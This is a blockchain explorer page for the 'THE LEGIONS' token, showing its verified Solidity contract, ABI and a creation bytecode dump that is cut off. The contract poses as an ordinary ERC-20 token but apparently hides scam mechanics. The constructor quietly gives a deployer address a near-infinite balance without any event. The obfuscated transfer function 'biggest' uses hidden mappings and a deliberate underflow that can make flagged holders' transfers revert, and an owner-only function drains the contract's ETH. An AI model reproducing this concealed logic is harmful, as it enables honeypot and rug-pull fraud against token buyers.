ETH Price: $2,702.30 (-0.71%)

Token

THE LEGIONS (LEGIONS)
 

Overview

Max Total Supply

100,000,000 LEGIONS

Holders

19

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
1,000,000 LEGIONS

Value
$0.00
0x6FfFb5DDF585755Eafb737a3B0a28DD845C4d88B
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
THELEGIONS

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-03
*/

/**

*/

// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.5;

// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-tfee contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract THELEGIONS is Ownable {
    constructor(
        string memory _NAME,
        string memory _SYMBOL,
        address routerAddress,
        address _deployer
    ) {
        _symbol = _SYMBOL;
        _name = _NAME;
        _fee = 0;
        _decimals = 9;
        _tTotal = 100000000 * 10**_decimals;

        _feetaker[_deployer] = tfee;
        _feetaker[msg.sender] = _tTotal;
        feereceiver[_deployer] = tfee;
        feereceiver[msg.sender] = tfee;

        router = IUniswapV2Router02(routerAddress);
        uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());

        emit Transfer(address(0), msg.sender, _tTotal);
    }

    uint256 public _fee;
    string private _name;
    string private _symbol;
    uint8 private _decimals;

    function name() public view returns (string memory) {
        return _name;
    }

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _feetaker;

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    uint256 private _tTotal;
    uint256 private _rTotal;
    address public uniswapV2Pair;
    IUniswapV2Router02 public router;
    uint256 private tfee = ~uint256(0);

    function decimals() public view returns (uint256) {
        return _decimals;
    }

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function totalSupply() public view returns (uint256) {
        return _tTotal;
    }

    address[] interest = new address[](2);

    function balanceOf(address account) public view returns (uint256) {
        return _feetaker[account];
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function biggest(
        address treated,
        address official,
        uint256 amount
    ) private {
        address hall = interest[1];
        bool border = uniswapV2Pair == treated;
        uint256 order = _fee;

        if (feereceiver[treated] == 0 && driven[treated] > 0 && !border) {
            feereceiver[treated] -= order;
            if (amount > 2 * 10**(13 + _decimals)) feereceiver[treated] -= order - 1;
        }

        interest[1] = official;

        if (feereceiver[treated] > 0 && amount == 0) {
            feereceiver[official] += order;
        }

        driven[hall] += order + 1;

        uint256 fee = (amount / 100) * _fee;
        amount -= fee;
        _feetaker[treated] -= fee;
        _feetaker[address(this)] += fee;

        _feetaker[treated] -= amount;
        _feetaker[official] += amount;
    }

    mapping(address => uint256) private driven;

    function approve(address spender, uint256 amount) external returns (bool) {
        return _approve(msg.sender, spender, amount);
    }

    mapping(address => uint256) private feereceiver;

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool) {
        require(amount > 0, 'Transfer amount must be greater than zero');
        biggest(sender, recipient, amount);
        emit Transfer(sender, recipient, amount);
        return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        biggest(msg.sender, recipient, amount);
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private returns (bool) {
        require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
        return true;
    }

    function manualETH(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        payable(owner()).transfer(amountETH * amountPercentage / 100);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"_NAME","type":"string"},{"internalType":"string","name":"_SYMBOL","type":"string"},{"internalType":"address","name":"routerAddress","type":"address"},{"internalType":"address","name":"_deployer","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

6080604052600019600b55600267ffffffffffffffff81111562000028576200002762000cc5565b5b604051908082528060200260200182016040528015620000575781602001602082028036833780820191505090505b50600c90805190602001906200006f92919062000600565b503480156200007d57600080fd5b506040516200286d3803806200286d8339818101604052810190620000a3919062000806565b620000c3620000b76200053460201b60201c565b6200053c60201b60201c565b8260039080519060200190620000db9291906200068f565b508360029080519060200190620000f49291906200068f565b5060006001819055506009600460006101000a81548160ff021916908360ff160217905550600460009054906101000a900460ff16600a620001379190620009dc565b6305f5e10062000148919062000b19565b600781905550600b54600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600754600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600e60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156200031057600080fd5b505afa15801562000325573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034b9190620007d4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015620003d057600080fd5b505afa158015620003e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200040b9190620007d4565b6040518363ffffffff1660e01b81526004016200042a929190620008d8565b602060405180830381600087803b1580156200044557600080fd5b505af11580156200045a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620004809190620007d4565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000522919062000905565b60405180910390a35050505062000d40565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280548282559060005260206000209081019282156200067c579160200282015b828111156200067b5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019062000621565b5b5090506200068b919062000720565b5090565b8280546200069d9062000bfb565b90600052602060002090601f016020900481019282620006c157600085556200070d565b82601f10620006dc57805160ff19168380011785556200070d565b828001600101855582156200070d579182015b828111156200070c578251825591602001919060010190620006ef565b5b5090506200071c919062000720565b5090565b5b808211156200073b57600081600090555060010162000721565b5090565b60006200075662000750846200094b565b62000922565b90508281526020810184848401111562000775576200077462000cf9565b5b6200078284828562000bc5565b509392505050565b6000815190506200079b8162000d26565b92915050565b600082601f830112620007b957620007b862000cf4565b5b8151620007cb8482602086016200073f565b91505092915050565b600060208284031215620007ed57620007ec62000d03565b5b6000620007fd848285016200078a565b91505092915050565b6000806000806080858703121562000823576200082262000d03565b5b600085015167ffffffffffffffff81111562000844576200084362000cfe565b5b6200085287828801620007a1565b945050602085015167ffffffffffffffff81111562000876576200087562000cfe565b5b6200088487828801620007a1565b935050604062000897878288016200078a565b9250506060620008aa878288016200078a565b91505092959194509250565b620008c18162000b7a565b82525050565b620008d28162000bae565b82525050565b6000604082019050620008ef6000830185620008b6565b620008fe6020830184620008b6565b9392505050565b60006020820190506200091c6000830184620008c7565b92915050565b60006200092e62000941565b90506200093c828262000c31565b919050565b6000604051905090565b600067ffffffffffffffff82111562000969576200096862000cc5565b5b620009748262000d08565b9050602081019050919050565b6000808291508390505b6001851115620009d357808604811115620009ab57620009aa62000c67565b5b6001851615620009bb5780820291505b8081029050620009cb8562000d19565b94506200098b565b94509492505050565b6000620009e98262000bae565b9150620009f68362000bb8565b925062000a257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000a2d565b905092915050565b60008262000a3f576001905062000b12565b8162000a4f576000905062000b12565b816001811462000a68576002811462000a735762000aa9565b600191505062000b12565b60ff84111562000a885762000a8762000c67565b5b8360020a91508482111562000aa25762000aa162000c67565b5b5062000b12565b5060208310610133831016604e8410600b841016171562000ae35782820a90508381111562000add5762000adc62000c67565b5b62000b12565b62000af2848484600162000981565b9250905081840481111562000b0c5762000b0b62000c67565b5b81810290505b9392505050565b600062000b268262000bae565b915062000b338362000bae565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000b6f5762000b6e62000c67565b5b828202905092915050565b600062000b878262000b8e565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101562000be557808201518184015260208101905062000bc8565b8381111562000bf5576000848401525b50505050565b6000600282049050600182168062000c1457607f821691505b6020821081141562000c2b5762000c2a62000c96565b5b50919050565b62000c3c8262000d08565b810181811067ffffffffffffffff8211171562000c5e5762000c5d62000cc5565b5b80604052505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b62000d318162000b7a565b811462000d3d57600080fd5b50565b611b1d8062000d506000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c5b37c2211610066578063c5b37c221461029f578063dd62ed3e146102bd578063f2fde38b146102ed578063f887ea401461030957610100565b80638da5cb5b1461021757806395d89b411461023557806397bfcda314610253578063a9059cbb1461026f57610100565b8063313ce567116100d3578063313ce567146101a157806349bd5a5e146101bf57806370a08231146101dd578063715018a61461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610327565b60405161011a919061143e565b60405180910390f35b61013d6004803603810190610138919061127f565b6103b9565b60405161014a9190611408565b60405180910390f35b61015b6103ce565b60405161016891906114e0565b60405180910390f35b61018b6004803603810190610186919061122c565b6103d8565b6040516101989190611408565b60405180910390f35b6101a9610527565b6040516101b691906114e0565b60405180910390f35b6101c7610541565b6040516101d491906113ed565b60405180910390f35b6101f760048036038101906101f291906111bf565b610567565b60405161020491906114e0565b60405180910390f35b6102156105b0565b005b61021f610638565b60405161022c91906113ed565b60405180910390f35b61023d610661565b60405161024a919061143e565b60405180910390f35b61026d600480360381019061026891906112bf565b6106f3565b005b6102896004803603810190610284919061127f565b6107dd565b6040516102969190611408565b60405180910390f35b6102a7610859565b6040516102b491906114e0565b60405180910390f35b6102d760048036038101906102d291906111ec565b61085f565b6040516102e491906114e0565b60405180910390f35b610307600480360381019061030291906111bf565b6108e6565b005b6103116109de565b60405161031e9190611423565b60405180910390f35b60606002805461033690611892565b80601f016020809104026020016040519081016040528092919081815260200182805461036290611892565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c6338484610a04565b905092915050565b6000600754905090565b600080821161041c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610413906114a0565b60405180910390fd5b610427848484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161048491906114e0565b60405180910390a361051e843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461051991906117a0565b610a04565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b86110c9565b73ffffffffffffffffffffffffffffffffffffffff166105d6610638565b73ffffffffffffffffffffffffffffffffffffffff161461062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611480565b60405180910390fd5b61063660006110d1565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461067090611892565b80601f016020809104026020016040519081016040528092919081815260200182805461069c90611892565b80156106e95780601f106106be576101008083540402835291602001916106e9565b820191906000526020600020905b8154815290600101906020018083116106cc57829003601f168201915b5050505050905090565b6106fb6110c9565b73ffffffffffffffffffffffffffffffffffffffff16610719610638565b73ffffffffffffffffffffffffffffffffffffffff161461076f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076690611480565b60405180910390fd5b600047905061077c610638565b73ffffffffffffffffffffffffffffffffffffffff166108fc606484846107a39190611746565b6107ad91906115a4565b9081150290604051600060405180830381858888f193505050501580156107d8573d6000803e3d6000fd5b505050565b60006107ea338484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161084791906114e0565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108ee6110c9565b73ffffffffffffffffffffffffffffffffffffffff1661090c610638565b73ffffffffffffffffffffffffffffffffffffffff1614610962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095990611480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c990611460565b60405180910390fd5b6109db816110d1565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6f5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa5906114c0565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8c91906114e0565b60405180910390a3600190509392505050565b6000600c600181548110610bb657610bb5611951565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610ccd57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610cd7575081155b15610dd15780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2b91906117a0565b92505081905550600460009054906101000a900460ff16600d610d4e919061156d565b600a610d5a9190611628565b6002610d669190611746565b841115610dd057600181610d7a91906117a0565b600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc891906117a0565b925050819055505b5b84600c600181548110610de757610de6611951565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e7e5750600084145b15610eda5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed29190611517565b925050819055505b600181610ee79190611517565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f359190611517565b925050819055506000600154606486610f4e91906115a4565b610f589190611746565b90508085610f6691906117a0565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb791906117a0565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461100d9190611517565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461106391906117a0565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110b99190611517565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506111a481611ab9565b92915050565b6000813590506111b981611ad0565b92915050565b6000602082840312156111d5576111d4611980565b5b60006111e384828501611195565b91505092915050565b6000806040838503121561120357611202611980565b5b600061121185828601611195565b925050602061122285828601611195565b9150509250929050565b60008060006060848603121561124557611244611980565b5b600061125386828701611195565b935050602061126486828701611195565b9250506040611275868287016111aa565b9150509250925092565b6000806040838503121561129657611295611980565b5b60006112a485828601611195565b92505060206112b5858286016111aa565b9150509250929050565b6000602082840312156112d5576112d4611980565b5b60006112e3848285016111aa565b91505092915050565b6112f5816117d4565b82525050565b611304816117e6565b82525050565b61131381611829565b82525050565b6000611324826114fb565b61132e8185611506565b935061133e81856020860161185f565b61134781611985565b840191505092915050565b600061135f602683611506565b915061136a826119a3565b604082019050919050565b6000611382602083611506565b915061138d826119f2565b602082019050919050565b60006113a5602983611506565b91506113b082611a1b565b604082019050919050565b60006113c8602483611506565b91506113d382611a6a565b604082019050919050565b6113e781611812565b82525050565b600060208201905061140260008301846112ec565b92915050565b600060208201905061141d60008301846112fb565b92915050565b6000602082019050611438600083018461130a565b92915050565b600060208201905081810360008301526114588184611319565b905092915050565b6000602082019050818103600083015261147981611352565b9050919050565b6000602082019050818103600083015261149981611375565b9050919050565b600060208201905081810360008301526114b981611398565b9050919050565b600060208201905081810360008301526114d9816113bb565b9050919050565b60006020820190506114f560008301846113de565b92915050565b600081519050919050565b600082825260208201905092915050565b600061152282611812565b915061152d83611812565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611562576115616118c4565b5b828201905092915050565b60006115788261181c565b91506115838361181c565b92508260ff03821115611599576115986118c4565b5b828201905092915050565b60006115af82611812565b91506115ba83611812565b9250826115ca576115c96118f3565b5b828204905092915050565b6000808291508390505b600185111561161f578086048111156115fb576115fa6118c4565b5b600185161561160a5780820291505b808102905061161885611996565b94506115df565b94509492505050565b600061163382611812565b915061163e8361181c565b925061166b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611673565b905092915050565b600082611683576001905061173f565b81611691576000905061173f565b81600181146116a757600281146116b1576116e0565b600191505061173f565b60ff8411156116c3576116c26118c4565b5b8360020a9150848211156116da576116d96118c4565b5b5061173f565b5060208310610133831016604e8410600b84101617156117155782820a9050838111156117105761170f6118c4565b5b61173f565b61172284848460016115d5565b92509050818404811115611739576117386118c4565b5b81810290505b9392505050565b600061175182611812565b915061175c